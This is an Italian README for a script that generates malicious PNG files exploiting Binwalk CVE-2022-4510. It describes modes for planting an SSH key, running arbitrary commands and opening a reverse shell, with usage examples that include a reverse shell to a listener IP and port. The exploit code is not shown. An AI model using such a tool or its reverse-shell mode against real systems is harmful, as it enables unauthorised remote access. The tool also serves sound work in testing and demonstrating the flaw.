CVE-2022-4510-Binwalk

Questo script consente di generare exploit per colpire le vulnerabilità Binwalk CVE-2022-4510. Gli exploit possono essere utilizzati per test e dimostrazioni. Le opzioni supportate includono SSH, esecuzione di comandi e reverse shell.

Prerequisiti

• Python 3.x

Utilizzo

1. Clona il repository o scarica il file dello script.
2. Esegui lo script con le opzioni desiderate. Le opzioni disponibili sono:
   • ssh: Genera un exploit per SSH.
     • Argomenti:
       • file: Percorso del file .png di input.
       • pub: Percorso del file della chiave pubblica.
   • command: Genera un exploit per eseguire un comando.
     • Argomenti:
       • --command: Comando da eseguire.
       • file: Percorso del file .png di input.
   • reverse: Genera un exploit per la reverse shell.
     • Argomenti:
       • file: Percorso del file .png di input.
       • ip: Indirizzo IP del listener.
       • port: Numero di porta del listener.

Esempi di utilizzo:

python exploit_generator.py ssh input.png public_key.pub
python exploit_generator.py command --command "ls -l" input.png
python exploit_generator.py reverse input.png 192.168.0.100 4444

Output

L'exploit generato verrà salvato come binwalk_exploit.png nella directory corrente.

Disclaimer

Utilizza questo script in modo responsabile e solo su sistemi su cui hai il permesso di testare o dimostrare le vulnerabilità. L'autore non è responsabile per qualsiasi uso illegale o non autorizzato di questo script.

Riferimenti

https://github.com/electr0sm0g/CVE-2022-4510